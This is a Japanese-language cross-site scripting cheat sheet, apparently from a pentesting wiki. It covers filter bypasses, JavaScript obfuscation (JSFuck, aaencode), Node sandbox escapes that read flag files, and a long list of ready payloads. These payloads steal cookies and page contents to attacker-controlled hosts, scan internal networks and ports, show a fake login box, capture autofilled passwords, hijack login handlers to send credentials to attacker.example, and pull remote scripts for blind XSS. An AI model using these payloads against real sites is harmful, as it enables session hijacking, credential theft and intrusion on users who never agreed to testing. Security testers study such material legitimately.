Session Mirroring
もしself XSSを見つけ、webページが管理者向けのsession mirroringを備えている場合(例:クライアントがヘルプを依頼できる仕組みで、adminが支援のためにあなたのセッションで見ているものを自身のセッションから見るようなもの)、adminにあなたのself XSSをトリガーさせてそのcookies/sessionを盗むことができます。
Other Bypasses
WASM linear-memory template overwrite によるサニタイズのバイパス
Emscripten/WASMを使用するwebアプリでは、定数文字列(HTMLフォーマットのスタブなど)は書き込み可能なlinear memory上に存在します。in‑WASMの単一のオーバーフロー(例:editパスでのunchecked memcpy)が隣接する構造体を破壊し、これら定数への書き込み先をリダイレクトすることがあります。テンプレート "" に上書きすると、サニタイズ済みの入力がJavaScriptハンドラ値になり、レンダリング時に即座にDOM XSSを引き起こします。
エクスプロイトのワークフロー、DevTools用のメモリヘルパー、対策をまとめた専用ページを確認してください:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
サーバ側(またはクライアント側)で reflected values が unicode normalized されているかを確認し、この機能を悪用して保護をバイパスすることができます。 Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR mass assignment のため、HTML に引用符が挿入され、引用符の制約が回避され、タグ内に追加のフィールド(onfocus)を追加できます。
フォームの例(from this report)、次の payload を送信すると:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
ペア "Key","Value" は次のようにエコーされます:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
すると、onfocus属性が挿入され、XSSが発生します。
特殊な組み合わせ
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
302レスポンスでのヘッダ注入によるXSS
もし302 Redirect レスポンスにヘッダを注入できることが分かれば、ブラウザに任意の JavaScript を実行させることを試せます。これは簡単ではありません。現代のブラウザは HTTP レスポンスのステータスコードが 302 の場合にレスポンスボディを解釈しないため、単なる cross-site scripting ペイロードは無効です。
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
過去に確認されたプロトコル: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
文字・数字・ドットのみ
もし javascript が実行する callback をそれらの文字(英字、数字、ドット)のみで指定できるなら、濫用方法については Read this section of this post を参照してください。
Valid <script> Content-Types to XSS
(From here) 例えば application/octet-stream のような content-type のスクリプトを読み込もうとすると、Chrome は次のエラーを出します:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Chrome が loaded script を実行するのを許す唯一の Content-Type は、const kSupportedJavascriptTypes に含まれるものだけです(参照: https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)。
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSS におけるスクリプトの種類
(From here) では、スクリプトを読み込むために指定できるタイプはどれでしょうか?
<script type="???"></script>
答えは:
- module (デフォルト、説明不要)
- webbundle: Web Bundles は、HTML、CSS、JS…などのデータをまとめてパッケージ化し、
.wbnファイルにまとめることができる機能です。
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: インポート構文を改善できる
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
この挙動は this writeup で、ライブラリを eval にリマップして悪用するために使用され、XSS を引き起こす可能性があります。
- speculationrules: この機能は主に事前レンダリングによって生じるいくつかの問題を解決するためのものです。動作は次のとおりです:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types による XSS
(出典: here) 以下の Content-Types はすべてのブラウザで XSS を実行できます:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
その他のブラウザでは、他の Content-Types を使って任意の JS を実行できるものがあります。詳細は次を参照: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
ページが text/xml の content-type を返している場合、名前空間を指定して任意の JS を実行できることがあります:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
特殊な置換パターン
例えば "some {{template}} data".replace("{{template}}", <user_input>) のようなコードが使われている場合、攻撃者は special string replacements を利用していくつかの防御を回避しようとする可能性があります: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
例えば this writeup では、これはスクリプト内のJSON文字列をエスケープして任意のコードを実行するために使われました。
Chrome Cache to XSS
XS Jails Escape
使用できる文字が限られている場合、XSJailの問題に対する以下の他の有効な解決策を参照してください:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
もし信頼できないコードを実行する前に すべてが undefined である(例えば this writeup のように)、任意の信頼できないコードの実行を悪用するために「何もないところから」有用なオブジェクトを生成することが可能です:
- import() を使う
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Accessing
requireindirectly
According to this モジュールは Node.js によって関数内で次のようにラップされます:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
したがって、そのモジュールから別の関数を呼び出すことができれば、その関数内からarguments.callee.caller.arguments[1]を使って**require**にアクセスすることが可能です:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
前の例と同様に、エラーハンドラを使用してモジュールのラッパーにアクセスし、**require**関数を取得することができます:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
難読化と高度なバイパス
- 1ページ内のさまざまな難読化: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- より高度な JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS common payloads
Several payloads in 1
Iframe Trap
ユーザーに iframe を抜けずにページ内を移動させ、その行動(フォームで送信された情報を含む)を盗む:
Retrieve Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
HTTPOnly flag が cookie に設定されている場合、JavaScript から cookies にアクセスすることはできません。ただし、運が良ければ some ways to bypass this protection を利用できることがあります。
ページのコンテンツを盗む
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
内部IPを見つける
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
短い時間はポートが応答していることを示します 長い時間は応答がないことを示します.
Chromeで禁止されているポートのリストはhereを、Firefoxではhereを確認してください。
認証情報を要求するボックス
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Auto-fill passwords capture
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
passwordフィールドに何らかのデータが入力されると、usernameとpasswordが攻撃者のサーバーに送信されます。クライアントが保存されたpasswordを選択して何も入力しなくても、credentialsはex-filtratedされます。
Hijack form handlers to exfiltrate credentials (const shadowing)
もし重要なhandler(例: function DoLogin(){...})がページ内で後で宣言され、あなたのpayloadがそれより先に実行される場合(例: inline JS-in-JS sinkを介して)、同じ名前のconstを先に定義してhandlerの先取りとロックを行ってください。後からのfunction宣言はconst名を再バインドできないため、あなたのフックが制御を保持します:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
注意事項
- これは実行順序に依存します: あなたの injection は正規の宣言より先に実行される必要があります。
- もしあなたの payload が
eval(...)でラップされていると、const/letバインディングは globals にはなりません。真の global で non-rebindable な binding を保証するために、セクション “Deliverable payloads with eval(atob()) and scope nuances” の動的<script>injection technique を使用してください。 - キーワードフィルタがコードをブロックする場合は、Unicode エスケープされた識別子や
eval(atob('...'))配信と組み合わせて使用してください(上記参照)。
Keylogger
github を検索しただけで、いくつか見つかりました:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- また metasploit の
http_javascript_keyloggerを使用できます
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage メッセージの窃取
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Service Workersの悪用
Shadow DOMへのアクセス
Polyglots
Blind XSS payloads
また使用できます: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
